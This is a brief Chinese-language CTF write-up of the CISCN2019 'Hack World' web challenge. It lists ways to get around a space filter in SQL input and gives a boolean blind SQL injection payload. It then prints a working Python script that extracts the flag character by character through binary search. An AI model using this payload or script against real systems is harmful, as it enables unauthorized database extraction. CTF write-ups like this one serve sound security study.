[CISCN2019 华北赛区 Day2 Web1] Hack World
根据 1 和 2 返回结果的不同,可能是 bool 盲注, ()
没有过滤,可以使用大部分函数,当时是卡在了空格的绕过
空格的绕过有这些方法我测试是可以的%09
%0a
%0b
%0c
%0d
/**/
/*!*/
或者直接 tab%20
好像没法绕, %00
截断好像也影响 sql 语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
本题中可以 if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)
贴上我写的 bool 盲注脚本
import requests
url = 'http://6cae50f1-0f30-4a8e-a02d-5f1565235a50.node3.buuoj.cn/index.php'
result = ''
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)